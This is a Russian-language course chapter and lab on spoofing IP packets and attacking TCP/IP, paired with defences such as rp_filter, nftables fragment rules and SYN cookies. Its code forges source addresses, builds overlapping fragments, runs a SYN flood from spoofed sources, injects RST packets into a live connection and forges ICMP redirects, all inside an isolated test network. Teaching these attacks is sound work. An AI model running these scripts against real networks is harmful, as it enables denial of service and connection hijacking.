Пакет из ниоткуда: подделка пакетов и атаки на TCP/IP

Сетевой уровень устроен так, что отправитель указывает в заголовке всё, что получатель потом использует: адрес источника, длину, идентификатор, контрольную сумму ¹. Ни одно из этих полей не проверяется криптографически. Пока пакет идёт по сети, единственная защита от подделки — фильтрация на входе у провайдера, и она включается по доброй воле.

Отсюда два класса приёмов. Первый — подделка источника: пакет выглядит так, будто его отправил кто-то другой, и ответы уходят жертве или в никуда. Второй — атаки на состояние: TCP хранит номера последовательностей и окна, и если угадать или подменить их, можно вклиниться в чужое соединение, не видя его целиком.

Тема 07 основной программы разбирала заголовок IP, фрагментацию и ICMP; тема 12 — TCP и сокеты; тема 13 — перегрузку и SYN cookies. Здесь те же механизмы рассматриваются как поверхность подделки. Границы: сканирование — тема 01, DNS — тема 05.

Тень базового курса: поля, которым доверяют

В теме 07 заголовок IPv4 разбирался по полям: версия, длина, идентификатор, флаги, смещение, TTL, протокол, контрольная сумма, адреса. Каждое поле существует, чтобы получатель мог обработать пакет; ни одно не удостоверяет отправителя.

Контрольная сумма защищает от случайной ошибки, а не от подделки: она вычисляется по тем же полям, которые атакующий контролирует. TTL уменьшается на каждом хопе, и по нему можно грубо судить о расстоянии, но не о личности. Идентификатор пакета нужен для сборки фрагментов и тоже подделывается.

TCP добавляет состояние: номера последовательностей, подтверждения, окно ³. Это состояние — единственное, что мешает вклиниться в соединение. Поэтому атаки на TCP сводятся к одному: узнать или угадать номер, который ожидает получатель.

Подделка пакета

Raw-сокеты и AF_PACKET

Обычный сокет SOCK_STREAM или SOCK_DGRAM не даёт контролировать IP-заголовок: ядро само заполняет адреса и контрольные суммы. Для полной подделки нужен SOCK_RAW с IP_HDRINCL или AF_PACKET, который работает ниже IP и позволяет собрать кадр целиком.

import socket, struct

def checksum(data: bytes) -> int:
    if len(data) % 2:
        data += b"\x00"
    s = sum(struct.unpack("!%dH" % (len(data) // 2), data))
    s = (s >> 16) + (s & 0xffff)
    s += s >> 16
    return ~s & 0xffff

src = socket.inet_aton("192.0.2.66")
dst = socket.inet_aton("192.0.2.10")
ip = struct.pack("!BBHHHBBH4s4s", 0x45, 0, 20 + 8, 0x1234, 0, 64, 1, 0, src, dst)
ip = ip[:10] + struct.pack("!H", checksum(ip)) + ip[12:]
icmp = struct.pack("!BBHHH", 8, 0, 0, 0x0001, 0) + b"hello"
icmp = icmp[:2] + struct.pack("!H", checksum(icmp)) + icmp[4:]

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
s.sendto(ip + icmp, ("192.0.2.10", 0))

Разбор: IPPROTO_RAW с IP_HDRINCL означает «заголовок уже собран»; контрольная сумма IP считается по заголовку с обнулённым полем; ICMP-сумма — по всему сообщению. Ядро не исправит подделанный адрес источника, потому что не считает его своим делом.

scapy делает то же короче и с автоматическим расчётом сумм, но под капотом — те же сокеты:

from scapy.all import IP, ICMP, send
send(IP(src="192.0.2.66", dst="192.0.2.10") / ICMP() / b"hello")

Контрольные суммы и TTL

Неверная контрольная сумма — не ошибка, а приём. Пакет с испорченной суммой отбрасывается стеком, но доходит до межсетевого экрана и IDS, которые могут его залогировать. Это позволяет проверять правила фильтрации, не получая ответа от цели: экран отвечает ICMP или молчит в зависимости от правила.

TTL используется иначе. Отправив пакет с TTL, равным расстоянию до цели, можно получить ICMP Time Exceeded от нужного маршрутизатора. Это основа firewalk из темы 01 и способ определить, где именно стоит фильтр.

BCP 38 и почему он не везде

RFC 2827 (BCP 38) требует, чтобы провайдер отбрасывал пакеты с адресом источника, не принадлежащим его клиенту ⁶. Если бы это правило выполнялось повсеместно, подделка источника за пределами своей сети стала бы невозможной.

На практике фильтрация включена не везде: её нужно настраивать, она добавляет нагрузку, а в некоторых сетях ломает легитимные сценарии. Поэтому подделка работает, и защита строится на предположении, что источник может быть любым: uRPF на маршрутизаторах, rp_filter на хостах, лимиты на входе.

sysctl net.ipv4.conf.all.rp_filter
sysctl -w net.ipv4.conf.all.rp_filter=1

rp_filter=1 (strict) отбрасывает пакет, если обратный маршрут к его источнику не совпадает с интерфейсом, на который он пришёл. Это ломает асимметричную маршрутизацию, поэтому в сложных сетях используют 2 (loose).

Фрагментация как оружие

Перекрывающиеся фрагменты и teardrop

Фрагментация делит датаграмму на части, каждая из которых несёт смещение в исходных данных. Получатель собирает их по смещению и длине. Если два фрагмента претендуют на одни и те же байты, возникает неоднозначность: разные реализации выбирают разное.

from scapy.all import IP, UDP, fragment, send

payload = b"A" * 64
pkts = fragment(IP(dst="192.0.2.10") / UDP(dport=53) / payload, fragsize=16)
send(pkts)

Перекрытие создаётся вручную: первый фрагмент объявляет длину больше, чем несёт, второй начинается внутри первого. Историческая атака teardrop использовала именно это: смещения подбирались так, что сборка ломала стек. Современные ядра устойчивы, но промежуточные устройства — нет.

Правило RFC 1858 описывает две атаки на фрагментацию: tiny fragment (первый фрагмент слишком мал, чтобы содержать TCP-заголовок) и перекрытие ⁷. Обе обходят фильтры, которые смотрят только первый фрагмент.

Tiny fragment и stateless-ACL

Stateless-фильтр проверяет порты в TCP-заголовке. Если первый фрагмент содержит только часть заголовка, фильтр не может принять решение и часто пропускает пакет целиком, надеясь на сборку позже. Сборка может не произойти вовсе, если фрагменты идут в разном порядке и часть отбрасывается.

Защита: собирать фрагменты до фильтрации, ограничивать их количество и размер, отбрасывать перекрытия. В Linux это net.ipv4.ipfrag_high_thresh и поведение conntrack; в промышленных экранах — отдельная функция defragmentation.

PMTUD-чёрная дыра как отказ в обслуживании

Path MTU Discovery полагается на ICMP «Fragmentation needed»: отправитель уменьшает размер, получив сообщение. Если ICMP заблокирован, крупные пакеты молча теряются, и соединение «зависает» на передаче файла или TLS-рукопожатии.

ping -M do -s 1472 -c 1 203.0.113.10
ping -M do -s 1400 -c 1 203.0.113.10

Первая команда отправляет пакет 1500 байт с DF=1; если путь уже, ответа не будет. Вторая — 1428 байт, проходит. Так находится реальный MTU. Атакующий может использовать ту же механику наоборот: заблокировать ICMP на пути, чтобы уронить крупные сессии, не отправляя ни одного пакета от своего имени.

ICMP как инструмент

ICMP — не только диагностика ². Redirect сообщает хосту, что маршрут надо изменить; поддельный redirect от имени шлюза переключает трафик на атакующего. Destination Unreachable с кодом «fragmentation needed» управляет размером пакетов; поддельный unreachable обрывает соединение.

sysctl net.ipv4.conf.all.accept_redirects
sysctl -w net.ipv4.conf.all.accept_redirects=0
sysctl -w net.ipv4.conf.all.send_redirects=0

ICMP-туннель — отдельный приём: данные кодируются в эхо-запросах и ответах, и трафик выглядит как диагностика. Обнаружение — по размеру и частоте, а не по содержимому.

TCP: последовательности и доверие

Генерация ISN и предсказуемость

Начальный номер последовательности выбирается не случайно в буквальном смысле: RFC 6528 требует, чтобы он был трудно предсказуем и при этом монотонно рос ⁴. Формула использует секрет, адрес и порт, а также таймер. Если секрет известен или энтропия мала, следующий ISN предсказуем, и появляется возможность слепой инъекции.

sysctl net.ipv4.tcp_syncookies
ss -ti

ss -ti показывает для каждого соединения rtt, cwnd, retrans; по этим числам видно, как стек реагирует на потери. Для атаки важнее другое: номер последовательности, который виден в захвате, если атакующий находится на пути.

SYN-флуд и SYN cookies

SYN-флуд эксплуатирует обязательность состояния: получив SYN, сервер выделяет структуру и ждёт ACK. Тысячи SYN с поддельными адресами заполняют очередь, и новые соединения не принимаются ⁵.

SYN cookies убирают состояние: сервер кодирует параметры соединения в ISN ответа и восстанавливает их из ACK. Очередь перестаёт быть узким местом, но теряются некоторые TCP-опции.

sysctl net.ipv4.tcp_syncookies
sysctl net.ipv4.tcp_max_syn_backlog
sysctl net.core.somaxconn

Включение cookies — компромисс: под нагрузкой они спасают доступность, но ломают оконное масштабирование и SACK, если параметры не помещаются в номер.

RST-инъекция и слепая подделка

RST-инъекция — самый дешёвый способ оборвать соединение: достаточно отправить пакет с правильными адресами, портами и номером последовательности. Если атакующий на пути, номер известен из захвата; если вне пути, его нужно угадать.

from scapy.all import IP, TCP, send
send(IP(src="192.0.2.10", dst="192.0.2.20") /
     TCP(sport=49152, dport=80, flags="R", seq=123456789))

Современные стеки применяют RFC 5961: RST принимается только в узком окне последовательностей, что снижает эффективность слепой инъекции ⁸. Но и это не абсолютно: атака на пути по-прежнему работает, а вместе с ней — hijacking, при котором атакующий не обрывает соединение, а вставляет данные.

Окно, SACK и PAWS

Масштабирование окна позволяет получателю объявить окно больше 64 КиБ. SACK сообщает о пропущенных блоках, ускоряя восстановление. PAWS защищает от старых дубликатов по меткам времени. Все три механизма расширяют состояние, которое нужно подделать, и одновременно дают атакующему больше полей для наблюдения.

Обнаружение и защита

Правило nftables, отбрасывающее крошечные первые фрагменты и весь фрагментированный трафик целиком:

nft add table inet frag_guard
nft add chain inet frag_guard input '{ type filter hook input priority -150; policy accept; }'
# крошечный первый фрагмент: MF установлен, смещение 0, нагрузки меньше 8 байт
nft add rule inet frag_guard input "ip frag-off & 0x2000 != 0 ip frag-off & 0x1fff == 0 ip length < 28" drop
# «хвостовые» фрагменты: политика не собирать фрагментированный трафик вовсе
nft add rule inet frag_guard input "ip frag-off & 0x1fff != 0" drop

Имя frag для таблицы не подходит: в nftables это ключевое слово заголовка фрагментации, и nft add table inet frag завершается синтаксической ошибкой. Перекрытие фрагментов таким правилом не ловится в принципе: чтобы увидеть, что два фрагмента претендуют на одно смещение, нужен сборщик, который помнит уже принятые фрагменты, — ядро или Suricata. Статическое правило может только отбросить фрагменты целиком.

Итоги темы

Подделка пакета возможна потому, что заголовок не аутентифицирован. Контрольная сумма защищает от ошибки, а не от злонамеренности; BCP 38 мог бы закрыть подделку источника, но включён не везде. Фрагментация и ICMP дают обходные пути для фильтров, которые смотрят только на первый фрагмент или только на TCP.

TCP держится на состоянии: номерах последовательностей и окнах. Кто знает номер, тот может оборвать соединение; кто угадывает — может попытаться. SYN cookies защищают доступность ценой части функциональности, RFC 5961 сужает окно для RST, но не устраняет атаку на пути.

Следующая тема переходит к именам — и показывает, что DNS доверяет ответу почти так же, как ARP доверяет объявлению.

Литература

1. Postel J. Internet Protocol. — RFC 791, IETF, 1981. https://www.rfc-editor.org/rfc/rfc791
2. Postel J. Internet Control Message Protocol. — RFC 792, IETF, 1981. https://www.rfc-editor.org/rfc/rfc792
3. Eddy W. Transmission Control Protocol (TCP). — RFC 9293, IETF, 2022. https://www.rfc-editor.org/rfc/rfc9293
4. Jacobson V., Braden R., Borman D. Computing TCP's Initial Sequence Number. — RFC 6528, IETF, 2012. https://www.rfc-editor.org/rfc/rfc6528
5. Eddy W. Defenses Against TCP SYN Flooding Attacks. — RFC 4987, IETF, 2007. https://www.rfc-editor.org/rfc/rfc4987
6. Ferguson P., Senie D. Network Ingress Filtering. — RFC 2827, IETF, 2000. https://www.rfc-editor.org/rfc/rfc2827
7. Ziemba G., Reed D., Traina P. Security Considerations for IP Fragment Filtering. — RFC 1858, IETF, 1995. https://www.rfc-editor.org/rfc/rfc1858
8. Ramaiah A., Stewart R., Dalal M. Improving TCP's Robustness to Blind In-Window Attacks. — RFC 5961, IETF, 2010. https://www.rfc-editor.org/rfc/rfc5961

Дополнительные материалы

Вопросы для самопроверки

1. Почему поле контрольной суммы не может служить аутентификацией?
2. Что произойдёт, если отправить пакет с адресом источника, который совпадает с адресом получателя?
3. Чем AF_PACKET отличается от SOCK_RAW по уровню доступа?
4. Как TTL используется для картирования фильтров?
5. Почему перекрывающиеся фрагменты по-разному обрабатываются разными стеками?
6. Что такое PMTUD-чёрная дыра и как она проявляется для пользователя?
7. Почему SYN cookies несовместимы с некоторыми расширениями TCP?
8. Какой номер последовательности нужен для RST и откуда его берут на пути и вне пути?
9. Почему ICMP redirect считается устаревшим, но всё ещё принимается?
10. Что даёт rp_filter=2 по сравнению с 1?
11. Как отличить отражённую атаку от обычного ICMP-трафика?
12. Почему шифрование не спасает от RST-инъекции, но спасает от hijacking?

Глоссарий темы

Spoofing — подмена адреса источника или другого поля заголовка.

BCP 38 — рекомендация по фильтрации входящих пакетов с чужими адресами источника.

uRPF — unicast Reverse Path Forwarding, проверка обратного маршрута на маршрутизаторе.

Tiny fragment — первый фрагмент, слишком короткий для полного транспортного заголовка.

Teardrop — историческая атака через перекрывающиеся фрагменты.

PMTUD — Path MTU Discovery, определение максимального размера пакета на пути.

ISN — initial sequence number, начальный номер последовательности TCP.

SYN cookie — способ отвечать на SYN без выделения состояния.

RST injection — поддельный сброс соединения.

TCP hijacking — вставка данных в чужое соединение без его разрыва.

Шпаргалка по инструментам

Что почитать и посмотреть

• RFC 791 — заголовок IPv4 по полям; полезно держать перед глазами при сборке пакета.
• RFC 792 — ICMP: типы, коды, формат; отсюда видно, какие сообщения можно подделать.
• RFC 9293 — TCP: состояния, номера, окна; раздел о безопасности важен для понимания границ.
• RFC 6528 — как выбирается ISN и почему это важно для слепой инъекции.
• RFC 4987 — SYN-флуд и защиты; лучшее описание компромиссов SYN cookies.
• RFC 5961 — почему RST и данные принимаются только в узком окне.
• RFC 1858 — фрагментация как вектор атаки; короткий и точный документ.

Углубление

Отражённые атаки. Подделка источника превращает любого ответчика в усилитель: запрос маленький, ответ большой. DNS, NTP и memcached исторически давали коэффициент усиления в десятки и сотни раз. Защита — BCP 38 у источника и ограничение ответов у службы.

TCP-AO и подпись сегментов. TCP Authentication Option добавляет криптографическую подпись к сегментам, что закрывает RST-инъекцию и hijacking, но требует согласования ключей и поддержки на обеих сторонах.

Слепая инъекция в реальных условиях. Для успеха нужно угадать номер в окне приёма. Чем больше окно и чем выше скорость, тем больше вариантов; поэтому атака вероятностная, а не детерминированная. Оценка числа попыток — упражнение из лабораторной.

Фрагментация в IPv6. В IPv6 фрагментирует только отправитель, а расширяющий заголовок позволяет дробить произвольно. Фильтры, рассчитанные на IPv4-фрагментацию, часто не готовы к IPv6-варианту.

Лабораторная работа 4. Пакет из ниоткуда

• Раздел курса: апокриф 4 «Пакет из ниоткуда: подделка пакетов и атаки на TCP/IP»

Введение

Работа начинается с пакета, собранного вручную, и заканчивается разбором того, почему одни подделки проходят, а другие нет. В сегменте из трёх узлов проверяются подмена источника, фрагментация, SYN-флуд, RST-инъекция и ICMP redirect. Для каждого приёма фиксируется, что видит защита и какая настройка его останавливает.

Все эксперименты ограничены по времени и по числу пакетов: цель — понять механизм, а не устроить отказ в обслуживании.

Цель работы

После выполнения работы получится:

• собрать IP- и ICMP-пакет вручную через SOCK_RAW и объяснить каждое поле;
• проверить, как стек реагирует на неверную контрольную сумму и подменённый источник;
• собрать перекрывающиеся фрагменты и объяснить поведение сборки;
• провести SYN-флуд с ограничением и сравнить поведение с SYN cookies и без них;
• выполнить RST-инъекцию в установленное соединение и объяснить роль номера последовательности;
• подделать ICMP redirect и показать смену маршрута;
• настроить rp_filter и правила nftables и проверить, что приёмы перестают работать;
• найти и исправить ошибку в скрипте расчёта контрольной суммы.

Теоретический минимум

Разделы теории «Подделка пакета», «Фрагментация как оружие», «ICMP как инструмент» и «TCP: последовательности и доверие».

Перечень оснащения

Уровень воспроизводимости: 1 — пространства имён и scapy.

Linux с iproute2, nftables, python3, scapy, hping3 (по возможности), tshark. Всё в unshare -rnm; внутри пространства имён доступны raw-сокеты. Если hping3 нет, SYN-флуд заменяется скриптом на scapy с ограничением в 500 пакетов.

Порядок выполнения работы

unshare -rnm --propagation private bash
mount -t tmpfs none /run
mkdir -p /run/netns

Часть 1. Сегмент и ручной пакет

Задание

Создать мост br0, узлы client (192.0.2.10), server (192.0.2.20) и attacker (192.0.2.66). На server поднять TCP-эхо-сервер на порту 9000.

# echo_server.py
import socket
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", 9000)); s.listen(5)
while True:
    c, _ = s.accept()
    data = c.recv(4096)
    c.sendall(data)
    c.close()

Отправить с attacker ICMP-эхо с адресом источника 192.0.2.10 (адрес клиента):

import socket, struct

def checksum(data):
    if len(data) % 2: data += b"\x00"
    s = sum(struct.unpack("!%dH" % (len(data)//2), data))
    s = (s >> 16) + (s & 0xffff); s += s >> 16
    return ~s & 0xffff

src = socket.inet_aton("192.0.2.10")
dst = socket.inet_aton("192.0.2.20")
ip = struct.pack("!BBHHHBBH4s4s", 0x45, 0, 28, 0x1234, 0, 64, 1, 0, src, dst)
ip = ip[:10] + struct.pack("!H", checksum(ip)) + ip[12:]
icmp = struct.pack("!BBHHH", 8, 0, 0, 1, 0) + b"spoof"
icmp = icmp[:2] + struct.pack("!H", checksum(icmp)) + icmp[4:]
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
s.sendto(ip + icmp, ("192.0.2.20", 0))

Одновременно снять трафик на server:

ip netns exec server tshark -i eth0 -f "icmp" -a duration:10 -w raw.pcap &

Что должно получиться

На server виден эхо-запрос с источником 192.0.2.10, и ответ уходит клиенту, а не атакующему. Объяснить, почему клиент получит ICMP-ответ, которого не запрашивал, и как это используется для отражённых атак.

Часть 2. Контрольная сумма и TTL

Задание

Повторить отправку с заведомо неверной контрольной суммой IP (например, увеличить её на единицу) и с TTL, равным 1. Снять трафик и сравнить.

ip netns exec server tshark -i eth0 -f "icmp" -a duration:10 -w bad.pcap &
# отправить пакет с bad checksum, затем с TTL=1
tshark -r bad.pcap -Y "icmp" -T fields -e ip.src -e ip.ttl -e icmp.type

Что должно получиться

Пакет с неверной суммой отброшен стеком server (в захвате он есть, в ответах — нет). Пакет с TTL=1 не доходит: маршрутизатор отвечает Time Exceeded. Сформулировать, зачем атакующий вообще отправляет заведомо битые пакеты.

Часть 3. Фрагментация

Задание

Собрать нормальные фрагменты и перекрывающиеся:

from scapy.all import IP, UDP, fragment, send

payload = b"A" * 64
normal = fragment(IP(dst="192.0.2.20") / UDP(dport=9000) / payload, fragsize=16)
send(normal)

# перекрытие: второй фрагмент начинается внутри первого
f1 = IP(dst="192.0.2.20", flags="MF", frag=0) / UDP(dport=9000) / (b"B" * 32)
f2 = IP(dst="192.0.2.20", flags=0, frag=2) / (b"C" * 32)
send([f1, f2])

Снять трафик и посмотреть, как server собирает датаграммы:

ip netns exec server tshark -i eth0 -f "udp port 9000" -a duration:10 -w frag.pcap
tshark -r frag.pcap -Y "ip.flags.mf==1 || ip.frag_offset>0" \
  -T fields -e ip.id -e ip.frag_offset -e ip.len -e ip.flags.mf

Что должно получиться

Нормальная датаграмма собирается и доходит до UDP-порта; перекрывающиеся фрагменты либо отбрасываются, либо собираются по правилу «первый выигрывает» — зависит от версии ядра. Записать наблюдение и объяснить, почему перекрытие опасно для промежуточных устройств.

Часть 4. SYN-флуд и cookies

Задание

Запустить сервер, который принимает соединения, и измерить поведение при флуде. Сначала с выключенными cookies:

ip netns exec server sysctl -w net.ipv4.tcp_syncookies=0
ip netns exec server sysctl -w net.ipv4.tcp_max_syn_backlog=16

Флуд с ограничением:

from scapy.all import IP, TCP, send
import random
for i in range(500):
    send(IP(src=f"198.51.100.{random.randint(1,254)}", dst="192.0.2.20") /
         TCP(sport=random.randint(1024,65535), dport=9000, flags="S"), verbose=False)

Затем проверить, устанавливается ли нормальное соединение с client:

ip netns exec client timeout 3 bash -c 'echo hi | nc -w 2 192.0.2.20 9000' ; echo "exit=$?"

Повторить с tcp_syncookies=1 и большим backlog.

Что должно получиться

Без cookies очередь заполняется, нормальное соединение не устанавливается или устанавливается с задержкой. С cookies соединение проходит, хотя половина ресурсов занята. Объяснить, что теряется при включении cookies.

Часть 5. RST-инъекция

Задание

Установить соединение между client и server, узнать номер последовательности из захвата и оборвать его поддельным RST с attacker.

ip netns exec attacker tshark -i eth0 -f "tcp port 9000" -w tcp.pcap &
ip netns exec client bash -c 'exec 3<>/dev/tcp/192.0.2.20/9000; echo hello >&3; sleep 30' &
sleep 2
tshark -r tcp.pcap -Y "tcp.flags.syn==1 && tcp.flags.ack==1" \
  -T fields -e ip.src -e tcp.srcport -e tcp.seq -e tcp.ack | head -2

Подставить полученные номера в пакет:

from scapy.all import IP, TCP, send
send(IP(src="192.0.2.10", dst="192.0.2.20") /
     TCP(sport=CLIENT_PORT, dport=9000, flags="R", seq=NEXT_SEQ))

Что должно получиться

Соединение обрывается, client получает ошибку записи. Объяснить, почему для RST достаточно одного пакета и почему RFC 5961 сужает, но не закрывает эту возможность.

Часть 6. ICMP redirect

Задание

Разрешить приём redirect на client, отправить поддельный redirect от имени шлюза и проверить маршрут:

ip netns exec client sysctl -w net.ipv4.conf.all.accept_redirects=1

from scapy.all import IP, ICMP, send
send(IP(src="192.0.2.1", dst="192.0.2.10") /
     ICMP(type=5, code=1, gw="192.0.2.66") /
     IP(src="192.0.2.10", dst="203.0.113.10") / ICMP())

Проверить ip route get 203.0.113.10.

Что должно получиться

Маршрут к 203.0.113.10 изменился на 192.0.2.66. Затем выключить accept_redirects и повторить — маршрут не меняется. Объяснить, почему redirect вообще существует и когда он легитимен.

Часть 7. Защита

Задание

Включить rp_filter и правило против фрагментов:

for n in client server attacker; do
  ip netns exec $n sysctl -w net.ipv4.conf.all.rp_filter=1
done
nft add table inet frag_guard
nft add chain inet frag_guard input '{ type filter hook input priority -150; policy accept; }'
nft add rule inet frag_guard input "ip frag-off & 0x2000 != 0 ip frag-off & 0x1fff == 0 ip length < 28" drop
nft add rule inet frag_guard input "ip frag-off & 0x1fff != 0" drop

Повторить подделку источника и перекрывающиеся фрагменты. Записать, что именно перестало работать.

Что должно получиться

Пакеты с чужим источником отбрасываются на входе; фрагменты с подозрительным смещением — тоже. Отметить, что rp_filter ломает асимметричную маршрутизацию и в реальной сети требует режима 2.

Часть 8. Найти и исправить ошибку

Задание

Скрипт считает контрольную сумму, но пакеты с ней отбрасываются:

def checksum(data):
    s = 0
    for i in range(0, len(data), 2):
        s += (data[i] << 8) + data[i+1]
    return (~s) & 0xffff

Найти причину: не обрабатывается нечётная длина и не выполняется свёртка переносов. Исправить и проверить на заголовке из части 1, сравнив с результатом scapy:

from scapy.all import IP, ICMP
pkt = IP(src="192.0.2.10", dst="192.0.2.20") / ICMP()
print(hex(pkt[IP].chksum))

Что должно получиться

Исправленная функция, дающая то же значение, что scapy; объяснение, почему без свёртки переноса сумма неверна на длинных заголовках.

Журнал работы

Контрольные вопросы

1. Почему контрольная сумма IP не защищает от подделки?
2. Что даёт IP_HDRINCL и чем SOCK_RAW отличается от AF_PACKET?
3. Зачем атакующий отправляет пакеты с неверной суммой?
4. Как работает сборка фрагментов и почему перекрытие создаёт неоднозначность?
5. Что такое tiny fragment и какой фильтр он обходит?
6. Почему SYN cookies ломают оконное масштабирование?
7. Как RFC 5961 ограничивает RST-инъекцию и почему не закрывает её полностью?
8. Почему для слепой инъекции важна энтропия ISN?
9. Как ICMP redirect меняет маршрут и почему его приём по умолчанию опасен?
10. Что делает rp_filter=1 и почему в сложных сетях ставят 2?
11. Почему BCP 38 не решает проблему подделки полностью?
12. Как отличить SYN-флуд от легитимного всплеска соединений?

Уборка

pkill -f echo_server.py
pkill tshark
nft delete table inet frag_guard 2>/dev/null
for n in client server attacker; do ip netns del $n 2>/dev/null; done
ip link del br0 2>/dev/null
rm -f raw.pcap bad.pcap frag.pcap tcp.pcap